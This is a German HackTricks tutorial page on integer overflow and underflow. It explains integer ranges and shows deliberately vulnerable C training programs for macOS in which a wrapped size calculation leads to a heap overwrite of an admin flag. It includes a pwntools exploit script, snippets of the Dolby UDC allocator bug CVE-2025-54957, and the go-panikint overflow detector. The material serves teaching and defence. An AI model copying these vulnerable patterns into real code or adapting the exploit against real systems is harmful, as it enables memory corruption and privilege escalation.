Integer Overflow
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Im Kern eines integer overflow liegt die Begrenzung, die durch die Größe von Datentypen in der Programmierung und die Interpretation der Daten auferlegt wird.
Zum Beispiel kann ein 8-bit unsigned integer Werte von 0 bis 255 darstellen. Wenn Sie versuchen, den Wert 256 in einem 8-bit unsigned integer zu speichern, springt er aufgrund der Beschränkung seiner Speicherkapazität auf 0 zurück. Ebenso wird bei einem 16-bit unsigned integer, das Werte von 0 bis 65,535 halten kann, das Hinzufügen von 1 zu 65,535 den Wert wieder auf 0 zurücksetzen.
Außerdem kann ein 8-bit signed integer Werte von -128 bis 127 darstellen. Das liegt daran, dass ein Bit zur Darstellung des Vorzeichens (positiv oder negativ) verwendet wird und 7 Bits zur Darstellung der Magnitude verbleiben. Die negativste Zahl wird als -128 (binär 10000000) dargestellt, und die positivste Zahl ist 127 (binär 01111111).
Maximalwerte für gängige Integer-Typen:
| Typ | Größe (Bits) | Min. Wert | Max. Wert |
|---|---|---|---|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
Ein short entspricht int16_t, ein int entspricht int32_t und ein long entspricht int64_t in 64-Bit-Systemen.
Max values
Für potenzielle web vulnerabilities ist es sehr interessant, die maximal unterstützten Werte zu kennen:
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
Beispiele
Pure overflow
Das ausgegebene Ergebnis wird 0 sein, da wir das char overflowed haben:
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
Signed to Unsigned Conversion
Betrachten Sie eine Situation, in der ein signed integer aus der Benutzereingabe gelesen und dann in einem Kontext verwendet wird, der ihn als unsigned integer behandelt, ohne ordnungsgemäße Validierung:
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
In diesem Beispiel wird eine vom Benutzer eingegebene negative Zahl aufgrund der Art und Weise, wie binary values interpretiert werden, als große unsigned integer interpretiert, was zu unerwartetem Verhalten führen kann.
macOS Overflow-Beispiel
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
Kompiliere es mit:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
Exploit
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
macOS Underflow Beispiel
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
Kompiliere es mit:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
Allocator alignment rounding wrap → undersized chunk → heap overflow (Dolby UDC case)
Einige custom allocators runden allocations auf alignment hoch, ohne overflow erneut zu prüfen. Im Dolby Unified Decoder (Pixel 9, CVE-2025-54957) wird die attacker-controlled emdf_payload_size (decoded with an unbounded variable_bits(8) loop) an ddp_udc_int_evo_malloc übergeben:
size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;
Für 64-Bit-Werte in der Nähe von 0xFFFFFFFFFFFFFFF9 führt (8 - total_size) % total_size zu einem Überlauf bei der Addition und erzeugt ein winziges total_size, obwohl die logische alloc_size weiterhin riesig bleibt. Der Aufrufer schreibt später payload_length Bytes in das zurückgegebene Chunk:
buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf(); // writes past tiny chunk
}
Warum exploitation in diesem Pattern zuverlässig ist:
- Overflow length control: Bytes stammen aus einem Reader, der durch eine vom Angreifer gewählte Länge (
emdf_container_length) begrenzt ist, sodass der Write nach N Bytes stoppt, anstattpayload_lengthzu sprühen. - Overflow data control: Bytes, die über das Chunk hinaus geschrieben werden, stammen vollständig vom Angreifer aus der EMDF payload.
- Heap determinism: Der allocator ist ein per-frame bump-pointer slab ohne frees, sodass die Adjazenz der korrumpierten Objekte vorhersehbar ist.
Weitere Beispiele
-
https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
-
Only 1B is used to store the size of the password so it’s possible to overflow it and make it think it’s length of 4 while it actually is 260 to bypass the length check protection
-
https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html
-
Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
- https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
- Only 1B is used to store the size of the password so it’s possible to overflow it and make it think it’s length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
Go integer overflow detection with go-panikint
Go wraps integers silently. go-panikint is a forked Go toolchain that injects SSA overflow checks so wrapped arithmetic immediately calls runtime.panicoverflow() (panic + stack trace).
Why use it
- Makes overflow/truncation reachable in fuzzing/CI because arithmetic wraps now crash.
- Useful around user-controlled pagination, offsets, quotas, size calculations, or access-control math (e.g.,
end := offset + limitonuint64wrapping small).
Kompilieren & Verwendung
git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness
Führe dieses geforkte go binary für tests/fuzzing aus, um Überläufe als panics sichtbar zu machen.
Rauschunterdrückung
- Truncation checks (casts to smaller ints) können viel Rauschen erzeugen.
- Absichtliches wrap-around unterdrücken mittels source-path filters oder inline
// overflow_false_positive/// truncation_false_positiveKommentaren.
Praxisbeispiel
go-panikint enthüllte einen Cosmos SDK uint64 Pagination-Overflow: end := pageRequest.Offset + pageRequest.Limit lief über MaxUint64 hinaus und gab leere Ergebnisse zurück. Instrumentation verwandelte das stille Wrap in einen panic, den fuzzers minimieren konnten.
ARM64
Dies ändert sich in ARM64 nicht, wie in this blog post zu sehen ist.
Referenzen
- Detect Go’s silent arithmetic bugs with go-panikint
- go-panikint (compiler fork)
- Pixel 0-click – CVE-2025-54957 allocator wrap → heap overflow
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


